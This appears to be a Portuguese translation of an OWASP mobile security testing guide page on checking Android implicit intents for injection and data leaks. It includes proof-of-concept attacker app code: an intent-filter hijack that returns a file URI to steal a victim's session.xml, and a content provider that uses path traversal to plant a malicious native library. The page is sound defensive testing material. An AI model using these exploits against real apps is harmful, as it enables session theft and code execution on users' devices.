Skip to content

MASTG-TEST-0026: Teste de Implicit Intents

Visão Geral

Ao testar intents implícitos), é necessário verificar se eles são vulneráveis a ataques de injeção ou potencialmente vazam dados sensíveis.

Análise Estática

Inspecione o Android Manifest e procure por quaisquer assinaturas <intent> definidas dentro de blocos (que especificam o conjunto de outros apps com os quais um app pretende interagir). Verifique se contém ações do sistema (ex: android.intent.action.GET_CONTENT, android.intent.action.PICK, android.media.action.IMAGE_CAPTURE, etc.) e navegue pelo código-fonte em busca de sua ocorrência.

Por exemplo, o seguinte Intent não especifica nenhum componente concreto, significando que é um intent implícito. Ele define a ação android.intent.action.GET_CONTENT para solicitar dados de entrada do usuário e, em seguida, o app inicia o intent através de startActivityForResult especificando um seletor de imagem.

Intent intent = new Intent();
intent.setAction("android.intent.action.GET_CONTENT");
startActivityForResult(Intent.createChooser(intent, ""), REQUEST_IMAGE);

O app utiliza startActivityForResult em vez de startActivity, indicando que espera um resultado (neste caso, uma imagem). Portanto, você deve verificar como o valor de retorno do intent é tratado procurando pelo callback onActivityResult. Se o valor de retorno do intent não for validado adequadamente, um atacante pode conseguir ler arquivos arbitrários ou executar código arbitrário a partir do armazenamento interno /data/data/<appname> do app. Uma descrição completa deste tipo de ataque pode ser encontrada na seguinte postagem de blog.

Caso 1: Leitura Arbitrária de Arquivo

Neste exemplo, veremos como um atacante pode ler arquivos arbitrários do armazenamento interno /data/data/<appname> do app devido à validação inadequada do valor de retorno do intent.

O método performAction no exemplo a seguir lê o valor de retorno dos intents implícitos, que pode ser um URI fornecido pelo atacante, e o passa para getFileItemFromUri. Este método copia o arquivo para uma pasta temporária, o que é comum se este arquivo for exibido internamente. Mas se o app armazenar o arquivo fornecido por URI em um diretório temporário externo, por exemplo, chamando getExternalCacheDir ou getExternalFilesDir, um atacante pode ler este arquivo após definir a permissão android.permission.READ_EXTERNAL_STORAGE.

private void performAction(Action action){
  ...
  Uri data = intent.getData();
  if (!(data == null || (fileItemFromUri = getFileItemFromUri(data)) == null)) {
      ...
  }
}

private FileItem getFileItemFromUri(Context, context, Uri uri){
  String fileName = UriExtensions.getFileName(uri, context);
  File file = new File(getExternalCacheDir(), "tmp");
  file.createNewFile();
  copy(context.openInputStream(uri), new FileOutputStream(file));
  ...
}

A seguir está o código-fonte de um app malicioso que explora o código vulnerável acima.

AndroidManifest.xml

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<application>
  <activity android:name=".EvilContentActivity">
      <intent-filter android:priority="999">
          <action android:name="android.intent.action.GET_CONTENT" />
          <data android:mimeType="*/*" />
      </intent-filter>
  </activity>
</application>

EvilContentActivity.java

public class EvilContentActivity extends Activity{
  @Override
  protected void OnCreate(@Nullable Bundle savedInstanceState){
    super.OnCreate(savedInstanceState);
    setResult(-1, new Intent().setData(Uri.parse("file:///data/data/<victim_app>/shared_preferences/session.xml")));
    finish();
  }
}

Se o usuário selecionar o app malicioso para tratar o intent, o atacante pode agora roubar o arquivo session.xml do armazenamento interno do app. No exemplo anterior, a vítima deve explicitamente selecionar o app malicioso do atacante em uma caixa de diálogo. No entanto, os desenvolvedores podem optar por suprimir esta caixa de diálogo e determinar automaticamente um destinatário para o intent. Isso permitiría que o ataque ocorresse sem qualquer interação adicional do usuário.

O seguinte exemplo de código implementa esta seleção automática do destinatário. Especificando uma prioridade no filtro de intent do app malicioso, o atacante pode influenciar a sequência de seleção.

Intent intent = new Intent("android.intent.action.GET_CONTENT");
for(ResolveInfo info : getPackageManager().queryIntentActivities(intent, 0)) {
    intent.setClassName(info.activityInfo.packageName, info.activityInfo.name);
    startActivityForResult(intent);
    return;
}

Caso 2: Execução Arbitrária de Código

Um valor de retorno de um intent implícito tratado inadequadamente pode levar à execução arbitrária de código se o app vítima permitir URLs content:// e file://.

Um atacante pode implementar um ContentProvider que contém public Cursor query(...) para definir um arquivo arbitrário (neste caso lib.so). Se a vítima carregar este arquivo do content provider executando copy, o método ParcelFileDescriptor openFile(...) do atacante será executado e retornará um fakelib.so malicioso.

AndroidManifest.xml

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<application>
  <activity android:name=".EvilContentActivity">
      <intent-filter android:priority="999">
          <action android:name="android.intent.action.GET_CONTENT" />
          <data android:mimeType="*/*" />
      </intent-filter>
  </activity>
  <provider android:name=".EvilContentProvider" android:authorities="com.attacker.evil" android:enabled="true" android:exported="true"></provider>
</application>

EvilContentProvider.java

public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
    MatrixCursor matrixCursor = new MatrixCursor(new String[]{"_display_name"});
    matrixCursor.addRow(new Object[]{"../lib-main/lib.so"});
    return matrixCursor;
}
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
    return ParcelFileDescriptor.open(new File("/data/data/com.attacker/fakelib.so"), ParcelFileDescriptor.MODE_READ_ONLY);
}

EvilContentActivity.java

public class EvilContentActivity extends Activity{
  @Override
  protected void OnCreate(@Nullable Bundle savedInstanceState){
    super.OnCreate(savedInstanceState);
    setResult(-1, new Intent().setData(Uri.parse("content:///data/data/com.attacker/fakelib.so")));
    finish();
  }
}

Análise Dinâmica

Uma maneira conveniente de testar dinamicamente intents implícitos, especialmente para identificar possíveis vazamentos de dados sensíveis, é usar Frida ou frida-trace e interceptar os métodos startActivityForResult e onActivityResult, inspecionando os intents fornecidos e os dados que eles contêm.